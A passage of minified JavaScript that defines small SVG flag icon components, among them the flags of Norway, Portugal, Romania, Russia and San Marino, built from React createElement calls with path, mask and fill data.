1.147c.11.004-.057.11-.278.252-.223.142-.502.32-.606.464-.03.042-.055-.023-.073-.164-.018.141-.042.206-.073.164-.103-.144-.382-.322-.606-.464-.22-.142-.387-.248-.277-.252.22-.008.633-1.147.633-1.147l-.12-.067-.45.515s-.678.305-.86.51c-.133.146-.314.082-.449.034a.466.466 0 0 0-.13-.035c-.115 0-.154-.161 0-.36.09-.115.229-.13.36-.146.093-.01.183-.02.25-.065.164-.107.433-.386.433-.386l.397-.356s-.712.34-1.68-.786Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F6C540",fillRule:"evenodd",d:"m6.217 8.515-.438-.767s-.572-1.319-.572-1.48c0-.16-.23-.634-.23-.496s-.02 1.242-.02 1.242l.985 1.43v.17h.13l.145-.099Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F6C540",d:"m9.72 7.482.068-.22.813.244-.067.221-.813-.245Z"}),(0,s.createElement)("path",{fill:"#F6C540",d:"m10.154 7.08.22.072-.215.69-.22-.073.215-.689Z"}),(0,s.createElement)("path",{fill:"#F6C540",fillRule:"evenodd",d:"M8.069 2.646a1.301 1.301 0 0 0-.102-.035l-.003.01a.485.485 0 0 0-.116-.009l-.007.001a.957.957 0 0 0-.194.045c-.364.041-.552.202-.532.477.011.142.059.243.138.3v.085s.416.27.624.27c.208 0 .624-.27.624-.27v-.053c.114-.045.183-.158.196-.332.021-.284-.18-.445-.565-.48l-.001.011a1.666 1.666 0 0 0-.062-.02Zm.432.655v-.368c.045.051.063.115.058.192-.006.081-.025.14-.058.176Zm-1.248-.182v-.04.04Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#1E5E91",fillRule:"evenodd",d:"M6.977 5.18s.569-.108.877-.108c.276 0 .877.108.877.108 0 .68.191 1.096 0 1.56-.192.465-.66.242-.871.686-.27-.421-.636-.19-.883-.79-.247-.6.15-.876 0-1.456Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"ME_-_Montenegro_svg__c",width:3,height:3,x:6,y:5,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M6.977 5.18s.569-.108.877-.108c.276 0 .877.108.877.108 0 .68.191 1.096 0 1.56-.192.465-.66.242-.871.686-.27-.421-.636-.19-.883-.79-.247-.6.15-.876 0-1.456Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#ME_-_Montenegro_svg__c)"},(0,s.createElement)("path",{fill:"#5EAA22",d:"M6.977 6.599h1.754v.851H6.977z"})),(0,s.createElement)("path",{fill:"#F6C540",fillRule:"evenodd",d:"M7.9 6.4a.5.5 0 1 0 0-1 .5.5 0 0 0 0 1Z",clipRule:"evenodd"})))),da=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"NO_-_Norway_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#NO_-_Norway_svg__a)"},(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"NO_-_Norway_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#NO_-_Norway_svg__b)"},(0,s.createElement)("path",{fill:"#2E42A5",stroke:"#F7FCFF",d:"M5-.5h-.5v5h-5v3h5v5h3v-5h9v-3h-9v-5H5Z"})))),oa=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"PT_-_Portugal_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#PT_-_Portugal_svg__a)"},(0,s.createElement)("path",{fill:"#EF0000",fillRule:"evenodd",d:"M4 0h12v12H4V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#2F8D00",fillRule:"evenodd",d:"M0 0h6v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"PT_-_Portugal_svg__b",width:8,height:8,x:2,y:2,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M5.952 9.904c-2.13 0-3.857-1.748-3.857-3.904 0-2.156 1.727-3.904 3.857-3.904S9.81 3.844 9.81 6c0 2.156-1.726 3.904-3.857 3.904Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fill:"#FFE017",mask:"url(#PT_-_Portugal_svg__b)"},(0,s.createElement)("path",{fillRule:"evenodd",d:"M5.714 2h.5v1.35h-.5V2ZM5.714 8.747h.5V10h-.5V8.747Z",clipRule:"evenodd"}),(0,s.createElement)("path",{d:"m2.157 6.202-.14-.359C3.56 5.227 4.724 4.83 5.514 4.651a29.368 29.368 0 0 1 3.821-.583l.034.384c-1.372.125-2.63.317-3.771.575-.767.174-1.915.566-3.44 1.175Z"}),(0,s.createElement)("path",{d:"m9.57 3.832-.113.368c-1.166-.368-2.116-.526-2.846-.477l-.025-.385c.784-.053 1.778.113 2.984.494ZM9.974 5.89l-.216.318c-.594-.413-1.326-.62-2.201-.62v-.386c.948 0 1.756.229 2.417.688Z"}),(0,s.createElement)("path",{d:"m9.651 6.005.098.373c-1.28.347-2.484.544-3.609.59-1.132.047-2.452-.15-3.96-.591l.105-.37c1.472.429 2.752.62 3.84.576 1.095-.045 2.27-.238 3.526-.578Z"}),(0,s.createElement)("path",{d:"m9.506 7.818-.602.617c-1.145-1.143-2.152-1.96-3.017-2.452-.879-.5-2.025-1.007-3.437-1.52l.29-.816c1.453.528 2.642 1.054 3.567 1.58.94.534 2.004 1.398 3.199 2.59ZM2.73 8.168l-.229-.31a4.64 4.64 0 0 1 .594-.361c.425-.215.852-.35 1.259-.362h.059v.385h-.048c-.343.01-.72.13-1.1.322a4.264 4.264 0 0 0-.536.326Z"}),(0,s.createElement)("path",{d:"m2.906 8.301.096-.373c1.27.335 2.25.501 2.932.501.681 0 1.695-.196 3.034-.59l.106.37c-1.37.403-2.415.606-3.14.606-.721 0-1.73-.172-3.028-.514ZM2.411 4.847l.604-.616.883.887-.603.616-.884-.887Z"}),(0,s.createElement)("path",{d:"m7.418 7.924.449-.74 1.402.873-.45.74-1.401-.873Z"})),(0,s.createElement)("path",{fill:"#F9E813",fillRule:"evenodd",d:"M2.095 6c0 2.156 1.727 3.904 3.857 3.904S9.81 8.156 9.81 6c0-2.156-1.726-3.904-3.857-3.904-2.13 0-3.857 1.748-3.857 3.904Zm7.238.048c0 1.863-1.492 3.374-3.333 3.374-1.841 0-3.333-1.51-3.333-3.374 0-1.863 1.492-3.373 3.333-3.373 1.84 0 3.333 1.51 3.333 3.373Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#fff",d:"M3.828 3.593v3.13c.206 1.239.9 1.859 2.083 1.859 1.182 0 1.877-.62 2.083-1.859v-3.13H3.828Z"}),(0,s.createElement)("path",{fill:"#C51918",d:"M3.043 3h5.536v3.711l-.004.026C8.307 8.22 7.359 9 5.81 9c-1.548 0-2.496-.78-2.764-2.263l-.004-.026V3Z"}),(0,s.createElement)("path",{fill:"#F9E813",fillRule:"evenodd",d:"M4.524 3.953h-.9v.9h.9v-.9Zm3.5 0h-.9v.9h.9v-.9ZM3.624 5.953h.9v.9h-.9v-.9Zm3.55.014h.9v.9h-.9v-.9Zm.013 1.458h-.9v.9h.9v-.9ZM4.324 7.42h.9v.9h-.9v-.9Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M4.426 4.355h2.97v2.22s-.22 1.147-1.485 1.147c-1.265 0-1.485-1.146-1.485-1.146v-2.22Z"}),(0,s.createElement)("path",{fill:"#013399",d:"M5.619 4.602h.66v.481s-.049.248-.33.248-.33-.248-.33-.248v-.48ZM5.619 5.663h.66v.48s-.049.249-.33.249-.33-.249-.33-.249v-.48ZM6.476 5.663h.66v.48s-.049.249-.33.249c-.28 0-.33-.249-.33-.249v-.48ZM4.762 5.663h.66v.48s-.049.249-.33.249-.33-.249-.33-.249v-.48ZM5.619 6.723h.66v.48s-.049.249-.33.249-.33-.248-.33-.248v-.481Z"}))),ha=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"RO_-_Romania_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#RO_-_Romania_svg__a)"},(0,s.createElement)("path",{fill:"#FBCD17",d:"M5 0h6v12H5V0Z"}),(0,s.createElement)("path",{fill:"#E11C1B",d:"M11 0h5v12h-5V0Z"}),(0,s.createElement)("path",{fill:"#2E42A5",d:"M0 0h5v12H0V0Z"}))),va=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"RU_-_Russian_Federation_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#RU_-_Russian_Federation_svg__a)"},(0,s.createElement)("path",{fill:"#3D58DB",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"RU_-_Russian_Federation_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#RU_-_Russian_Federation_svg__b)"},(0,s.createElement)("path",{fill:"#F7FCFF",d:"M0 0v4h16V0H0Z"}),(0,s.createElement)("path",{fill:"#C51918",d:"M0 8v4h16V8H0Z"})))),ua=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"SM_-_San_Marino_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#SM_-_San_Marino_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"SM_-_San_Marino_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#SM_-_San_Marino_svg__b)"},(0,s.createElement)("path",{fill:"#56C6F5",fillRule:"evenodd",d:"M0 6v6h16V6H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#006923",fillRule:"evenodd",d:"M5.127 4.514a.28.28 0 0 0-.028-.107c-.128-.24-.087-.539-.087-.539s-.153.35-.243.681c-.095-.154-.128-.308-.128-.308s-.06.969.126 1.199c.187.23.312.33.312.33s.014-.402-.04-.717c.038-.131.073-.275.085-.399a4.77 4.77 0 0 0 .17-.133 2.01 2.01 0 0 0-.035.291s.705-.512.723-.783c.018-.271.212-.503.212-.503s-.16.11-.344.257c.049-.228.199-.407.199-.407s-.801.548-.867.837a3.274 3.274 0 0 0-.055.301Zm.034 1.665c-.076-.145-.41-.753-.644-.805-.265-.06-.464-.288-.464-.288s.417.877.692.987c.22.088.366.123.414.134-.008.118-.009.2-.009.2s.13-.095.329-.314c.199-.22.188-1.19.188-1.19s-.078.292-.29.462c-.142.114-.196.544-.216.814Zm-.625-.091c.302-.002.768.74.768.74s-.18.01-.496-.04c-.315-.05-.806-.895-.806-.895s.231.196.534.195ZM6.01 7.816s.18-.946-.09-1.166a.958.958 0 0 1-.317-.55s-.24 1.049 0 1.32c.24.272.407.396.407.396Zm-1.088-.255c.176.209.737 0 .737 0s.124.112-.321-.295c-.445-.406-1.35-.15-1.107-.15.244 0 .515.236.69.445Zm.416 1.11c.326.276 1.032-.38 1.032-.38s-.182-.22-.519-.383c-.336-.162-1.578 0-1.578 0l.553.246s-.615.24-.452.227c.163-.013.637.013.964.29Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#093",fillRule:"evenodd",d:"M9.607 8.098s-.28-.472 0-.7c.28-.227.392-.076.392-.338s.028-.184.166-.314.04-.446.225-.288c.184.158.219-.145.219.485v-.925c0-.353-.22-.27-.22-.506 0-.237-.218-.591 0-.591.22 0 .349.263.349.263s.215.367.215 0-.383-.258-.563-.663c-.18-.405-.152.045-.391-.477-.24-.521-.526-.687-.263-.687h.429c.225 0 .573-.187.573 0v.394c0 .293.215.293.215.293s.117-.586.264-.293c.147.293.047.77.155.77s.018-.492.254-.115c.235.377 0 .633 0 .778 0 .146-.254.502-.254.502s.05.174.254 0c.204-.174.397-.349.397-.174 0 .174.398.228 0 .506-.397.279-.144.557-.397.557-.254 0-.553.368-.673.368s-.568.28-.344.28c.224 0 .454-.562.608-.28.155.28.153-.046.28.117.129.164.256 1.05.129.695-.128-.356-.329-.356-.673-.356-.344 0-1.013.025-.788.19.225.166.477-.165.573 0 .095.166.068.33.215.166.148-.166.293 0 .419 0s-.126.184 0 .343c.126.159.406.37.126.37s-.425-.224-.545 0c-.12.224-.125.614-.344.307-.22-.307-.61-.151-.61-.307 0-.155.085-.18-.154-.18-.238 0-.238-.19-.238-.19Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"M10.758 4.725a.123.123 0 0 1-.12.125.123.123 0 0 1-.122-.125c0-.07.054-.125.121-.125s.121.056.121.125ZM5.17 5a.123.123 0 0 0 .121-.125.123.123 0 0 0-.12-.125.123.123 0 0 0-.122.125c0 .069.055.125.121.125Zm.121.525a.123.123 0 0 1-.12.125.123.123 0 0 1-.122-.125c0-.07.055-.125.121-.125.067 0 .121.056.121.125ZM5.363 6.8a.123.123 0 0 0 .12-.125.123.123 0 0 0-.12-.125.123.123 0 0 0-.121.125c0 .069.054.125.121.125Zm.968 1.25a.123.123 0 0 0 .12-.125.123.123 0 0 0-.12-.125.123.123 0 0 0-.121.125c0 .069.054.125.12.125Zm4.645-1.9c.067 0 .12-.056.12-.125a.123.123 0 0 0-.12-.125.123.123 0 0 0-.121.125c0 .069.054.125.12.125Zm-.266.875a.123.123 0 0 1-.121.125.123.123 0 0 1-.121-.125c0-.07.054-.125.12-.125.068 0 .122.056.122.125ZM9.573 8.25a.123.123 0 0 0 .12-.125.123.123 0 0 0-.12-.125.123.123 0 0 0-.121.125c0 .069.054.125.12.125ZM6.5 8.275a.123.123 0 0 1-.12.125.123.123 0 0 1-.122-.125c0-.07.054-.125.121-.125s.121.056.121.125Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"M9.019 9.91c0-.103-1.55-1.17-1.966-1.407C6.636 8.268 4.605 6.971 5.158 5h-.084S4.7 7.428 7.28 8.938c1.174.788 1.233.972 1.233.972s.506.102.506 0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"M6.962 9.91c0-.103 1.55-1.17 1.967-1.407.416-.235 2.448-1.532 1.894-3.503h.084s.374 2.428-2.206 3.938c-1.174.788-1.233.972-1.233.972s-.506.102-.506 0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#56C6F5",fillRule:"evenodd",d:"M8.024 8.443c1.083 0 1.96-1.401 1.96-2.768 0-1.367-.877-2.075-1.96-2.075-1.082 0-1.96.708-1.96 2.075 0 1.367.878 2.768 1.96 2.768Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M7.157 4.77s.301-.267.15-.267c-.029 0-.064-.005-.103-.012-.16-.025-.367-.059-.367.278v.581h-.045a.05.05 0 1 0 0 .1h.04c-.008.124-.02.344-.031.564l-.057.005a.054.054 0 0 0-.05.058l.005.042c.002.03.028.052.058.05l.036-.004a33.75 33.75 0 0 0-.025.51c0 .067.46.04.46.04s-.015-.27-.03-.585l.03-.003a.054.054 0 0 0 .05-.058l-.005-.043a.054.054 0 0 0-.058-.049l-.025.003c-.01-.19-.018-.38-.025-.53h.06a.05.05 0 1 0 0-.1H7.16a5.214 5.214 0 0 1-.004-.159v-.422Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#000",fillRule:"evenodd",d:"M6.936 5.5h.16v.215h-.16V5.5ZM6.887 6.25h.269v.5h-.269v-.5Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M8.173 4.77s.302-.267.15-.267c-.029 0-.064-.005-.103-.012-.16-.025-.367-.059-.367.278v.581h-.045a.05.05 0 0 0 0 .1h.04c-.007.124-.02.344-.03.564l-.058.005a.054.054 0 0 0-.049.058l.004.042c.002.03.028.052.058.05l.036-.004c-.013.257-.025.482-.025.51 0 .067.46.04.46.04s-.015-.27-.03-.585l.03-.003a.054.054 0 0 0 .05-.058l-.005-.043a.054.054 0 0 0-.058-.049l-.025.003c-.01-.19-.018-.38-.025-.53h.06a.05.05 0 1 0 0-.1h-.064a5.224 5.224 0 0 1-.004-.159v-.422ZM9.14 4.77s.302-.267.151-.267c-.029 0-.064-.005-.103-.012-.16-.025-.367-.059-.367.278v.581h-.045a.05.05 0 0 0 0 .1h.039l-.03.564-.057.005a.054.054 0 0 0-.05.058l.004.042c.003.03.03.052.059.05l.036-.004a33.75 33.75 0 0 0-.025.51c0 .067.46.04.46.04s-.015-.27-.03-.585l.03-.003a.054.054 0 0 0 .049-.058l-.004-.043a.054.054 0 0 0-.058-.049l-.025.003c-.01-.19-.018-.38-.025-.53h.06a.05.05 0 1 0 0-.1h-.064a5.224 5.224 0 0 1-.004-.159v-.422Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#000",fillRule:"evenodd",d:"M8.92 5.5h.16v.215h-.16V5.5ZM8.871 6.25h.269v.5H8.87v-.5Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E8AA00",fillRule:"evenodd",d:"M9.258 3.2H6.694v.383l-.018.001s-1.256.977-.907 2.44C6.117 7.485 7.502 8.57 7.502 8.57l.07-.253s-1.32-1.794-1.32-2.512c0-.717.25-1.39.513-1.494.159-.063.186-.05.23-.03.028.013.064.03.149.03.214 0 .428-.154.428-.154s.15.154.288.154c.138 0 .14-.154.14-.154V3.65h.015v.508s.002.154.14.154c.14 0 .288-.154.288-.154s.215.154.429.154c.085 0 .12-.017.15-.03.042-.02.07-.033.228.03.264.104.513.777.513 1.494 0 .718-1.32 2.512-1.32 2.512l.07.253s1.385-1.085 1.734-2.548c.348-1.462-.908-2.439-.908-2.439l-.08-.007V3.2Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FFD018",d:"M6.694 3.2v-.25h-.25v.25h.25Zm2.564 0h.25v-.25h-.25v.25Zm-2.564.383.022.249.228-.02v-.23h-.25Zm-.018.001-.022-.249-.073.007-.058.045.153.197Zm-.907 2.44-.244.057.244-.058ZM7.502 8.57l-.154.196.295.231.1-.36-.24-.067Zm.07-.253.241.067.033-.117-.072-.098-.202.148Zm-.807-4.006-.092-.233.092.233Zm.23-.03-.107.226.106-.226Zm.577-.124.18-.174-.15-.154-.175.125.145.203Zm.428 0 .25.004v-.004H8Zm0-.508V3.4h-.25v.25H8Zm.015 0h.25V3.4h-.25v.25Zm0 .508h-.25v.004l.25-.004Zm.428 0 .146-.203-.175-.125-.15.154.18.174Zm.578.124.106.226-.106-.226Zm.23.03-.093.232.092-.232Zm-.808 4.006-.201-.148-.072.098.032.117.241-.067Zm.07.253-.24.066.099.361.295-.23-.154-.197Zm.826-4.987.153-.197-.058-.045-.073-.007-.022.25Zm-.08-.007h-.25v.229l.227.02.022-.249ZM6.693 3.45h2.564v-.5H6.694v.5Zm.25.133V3.2h-.5v.383h.5Zm-.245.25.017-.001-.045-.498-.017.001.045.498Zm-.687 2.132c-.154-.645.044-1.186.291-1.576a2.78 2.78 0 0 1 .527-.608l-.154-.197-.153-.197-.002.002a.832.832 0 0 0-.063.052 3.279 3.279 0 0 0-.578.68c-.293.464-.55 1.143-.355 1.96l.487-.116Zm1.49 2.606.155-.197a.205.205 0 0 1-.013-.01 4.76 4.76 0 0 1-.194-.17 6.14 6.14 0 0 1-.494-.512c-.378-.44-.783-1.04-.944-1.717l-.487.116c.188.787.65 1.46 1.052 1.927a6.64 6.64 0 0 0 .77.758l.001.001.154-.196Zm-.17-.32-.07.253.481.133.07-.252-.482-.134Zm-1.33-2.445c0 .238.105.528.23.8.13.282.3.583.467.856a15.993 15.993 0 0 0 .656.983l.012.015.003.005v.001l.202-.148.202-.148-.001-.001-.003-.004-.01-.014a9.941 9.941 0 0 1-.188-.266 15.51 15.51 0 0 1-.446-.684 8.007 8.007 0 0 1-.44-.804c-.123-.267-.184-.47-.184-.59h-.5Zm.67-1.727a.7.7 0 0 0-.305.27c-.076.11-.14.248-.193.397-.105.3-.172.675-.172 1.06h.5c0-.331.058-.65.144-.894.043-.121.09-.217.135-.283.048-.071.078-.086.076-.085l-.184-.465Zm.428-.024c-.03-.014-.096-.046-.194-.039a.798.798 0 0 0-.233.063l.184.465a.834.834 0 0 1 .074-.026c.015-.005.016-.004.009-.003a.118.118 0 0 1-.044-.005.119.119 0 0 1-.013-.005l.005.003.212-.453Zm.044.007a.25.25 0 0 1-.028-.002H7.11L7.1 4.054l-.212.453c.017.008.051.024.099.036a.638.638 0 0 0 .157.018v-.5Zm.428.096a55.611 55.611 0 0 1-.145-.203l-.003.002a.571.571 0 0 1-.093.052.47.47 0 0 1-.187.053v.5a.959.959 0 0 0 .402-.101 1.316 1.316 0 0 0 .17-.099h.001l-.145-.204Zm.288-.096c.01 0 .009.002-.005-.004a.495.495 0 0 1-.104-.074l-.179.174-.179.175.002.001a.206.206 0 0 0 .01.01.902.902 0 0 0 .115.096.61.61 0 0 0 .34.122v-.5Zm.14.096-.25-.003v-.003a.338.338 0 0 1 0-.01l.005-.012a.117.117 0 0 1 .037-.044.12.12 0 0 1 .068-.024v.5a.382.382 0 0 0 .384-.34.454.454 0 0 0 .006-.056v-.004L8 4.158Zm-.25-.508v.508h.5V3.65h-.5Zm.265-.25H8v.5h.015v-.5Zm-.25.25v.508h.5V3.65h-.5Zm.25.508-.25.004v.004a.323.323 0 0 0 .006.057.455.455 0 0 0 .036.117.382.382 0 0 0 .349.221v-.5a.12.12 0 0 1 .067.025.117.117 0 0 1 .038.044l.004.012a.045.045 0 0 1 0 .007.084.084 0 0 1 0 .005v.001l-.25.003Zm.14.404a.61.61 0 0 0 .34-.122.997.997 0 0 0 .126-.106.015.015 0 0 0 .001-.001l-.179-.175-.179-.174-.001.001a.407.407 0 0 1-.103.073c-.014.006-.014.004-.004.004v.5Zm.288-.404-.145.204.002.001.003.003a.764.764 0 0 0 .046.03c.03.017.07.041.12.065a.959.959 0 0 0 .403.1v-.5a.47.47 0 0 1-.187-.052.815.815 0 0 1-.097-.054l-.145.203Zm.429.404c.059 0 .11-.006.157-.018.047-.012.082-.028.098-.036l-.212-.453a.192.192 0 0 1-.01.004h.001L8.9 4.06a.25.25 0 0 1-.027.002v.5Zm.255-.054.006-.003a.12.12 0 0 1-.038.01h-.02c-.007 0-.005-.002.01.003a.833.833 0 0 1 .073.026l.185-.465a.798.798 0 0 0-.234-.063c-.098-.007-.164.025-.194.04l.212.452Zm.031.036c-.001 0 .029.014.077.085.045.066.092.162.135.283.085.243.143.563.143.894h.5c0-.385-.066-.76-.172-1.06a1.75 1.75 0 0 0-.192-.398.7.7 0 0 0-.306-.269l-.185.465Zm.355 1.262c0 .12-.06.324-.183.591a8.005 8.005 0 0 1-.44.804 15.51 15.51 0 0 1-.634.95l-.01.014-.003.004h-.001v.001a302.845 302.845 0 0 1 .403.296v-.001l.004-.005a4.547 4.547 0 0 0 .054-.075 15.556 15.556 0 0 0 .613-.923c.168-.273.338-.574.468-.856.125-.272.229-.562.229-.8h-.5Zm-1.31 2.579.07.252.481-.133-.07-.253-.482.134Zm.31.186.154.196.002-.001a.407.407 0 0 0 .017-.014 5.25 5.25 0 0 0 .218-.19c.141-.13.332-.318.535-.554.402-.468.864-1.14 1.051-1.927l-.486-.116c-.162.677-.567 1.278-.944 1.717a6.14 6.14 0 0 1-.699.69l-.002.002.154.197Zm1.977-2.49c.195-.817-.061-1.496-.355-1.96a3.28 3.28 0 0 0-.636-.73l-.004-.002-.002-.001v-.001l-.154.197a32.07 32.07 0 0 1-.154.197l.002.001.007.007.033.028a2.78 2.78 0 0 1 .485.572c.248.39.446.93.292 1.576l.486.116ZM9.361 3.335l-.08-.007-.045.498.08.007.045-.498ZM9.008 3.2v.377h.5V3.2h-.5Z"}),(0,s.createElement)("path",{fill:"#8FC753",fillRule:"evenodd",d:"M6.552 6.892s.157-.422.432-.281c.275.14.25.63.501.456.25-.175.108-.456.48-.456.37 0 .315.456.538.456.222 0 .241-.456.49-.456.248 0 .5.281.5.281l-1.47 2.002-1.471-2.002Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FFD018",fillRule:"evenodd",d:"M7.947 1.015h.1v.107h.123v.1h-.123v.182a.297.297 0 0 1 .243.296c0 .166-.13.3-.29.3a.295.295 0 0 1-.29-.3c0-.147.102-.27.237-.295v-.183h-.113v-.1h.113v-.107Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M6.874 2.583c-.14 0-.436.182-.436.182l.23.62 1.384-.063 1.385.063.229-.62s-.295-.182-.435-.182c-.062 0-.07-.044-.078-.093-.011-.064-.024-.135-.152-.135a.694.694 0 0 0-.207.033c-.078.022-.129.037-.202-.033l-.01-.01c-.117-.113-.24-.231-.439-.231-.04 0-.069.046-.09.119-.023-.073-.052-.12-.092-.12-.199 0-.321.119-.44.233l-.009.009c-.073.07-.123.055-.202.033a.694.694 0 0 0-.206-.033c-.129 0-.141.071-.152.135-.01.049-.017.093-.078.093Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FFD018",fillRule:"evenodd",d:"M7.5 2s.333-.241.5-.241c.167 0 .5.241.5.241v2h-1V2Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FFD018",fillRule:"evenodd",d:"m7.804 1.784-.097.034c-.257.089-.48.118-.667.09-.387-.06-.891.141-.828.436.028.129.108.373.193.58.116.286.198.43.293.43a14.365 14.365 0 0 1 .2.011c.14.007.264.01.383.01.345-.001.558-.035.634-.138l.023-.03-.01-.037c-.091-.312-.133-.738-.125-1.28l.001-.106Zm-1.45.527c-.031-.144.363-.302.665-.255.187.029.4.007.638-.065-.002.482.038.873.118 1.174-.069.036-.25.06-.495.06-.116 0-.237-.003-.375-.01l-.192-.01a2.412 2.412 0 0 1-.175-.34 4.11 4.11 0 0 1-.184-.554ZM8.227 1.784l.098.034c.256.089.479.118.667.09.386-.06.89.141.828.436-.028.129-.109.373-.193.58-.117.286-.198.43-.294.43a14.365 14.365 0 0 0-.199.011c-.14.007-.264.01-.384.01-.344-.001-.558-.035-.634-.138l-.022-.03.01-.037c.09-.312.133-.738.125-1.28l-.002-.106Zm1.45.527c.032-.144-.363-.302-.664-.255-.188.029-.4.007-.638-.065.001.482-.038.873-.118 1.174.068.036.25.06.494.06.116 0 .238-.003.376-.01l.191-.01a2.41 2.41 0 0 0 .175-.34c.081-.199.16-.435.185-.554Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#fff",d:"m3.979 10.16-.37-.929c1.53-.61 2.994-.917 4.391-.917 1.38 0 2.682.19 3.905.567l-.295.956A12.151 12.151 0 0 0 8 9.314c-1.264 0-2.604.281-4.021.846Z"}),(0,s.createElement)("path",{fill:"#272727",d:"m6.887 8.942.03-.248c.538.066.896.099 1.077.1.273.011.598-.008.974-.06l.035.247c-.391.054-.73.075-1.014.062-.19 0-.555-.034-1.102-.1Z"}),(0,s.createElement)("path",{fill:"#006923",fillRule:"evenodd",d:"M5.162 4S3.77 5.255 4.045 6.483C4.357 8.352 6.23 9.004 6.23 9.004l.992-.351s-1.9-1.09-1.9-2.17C5.32 5.402 5.606 4 5.606 4h-.444Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#093",fillRule:"evenodd",d:"M11.06 4s1.39 1.255 1.116 2.483c-.312 1.869-2.184 2.521-2.184 2.521L9 8.653s1.9-1.09 1.9-2.17C10.9 5.402 10.616 4 10.616 4h.443Z",clipRule:"evenodd"})))),_a=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"RS_-_Serbia_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 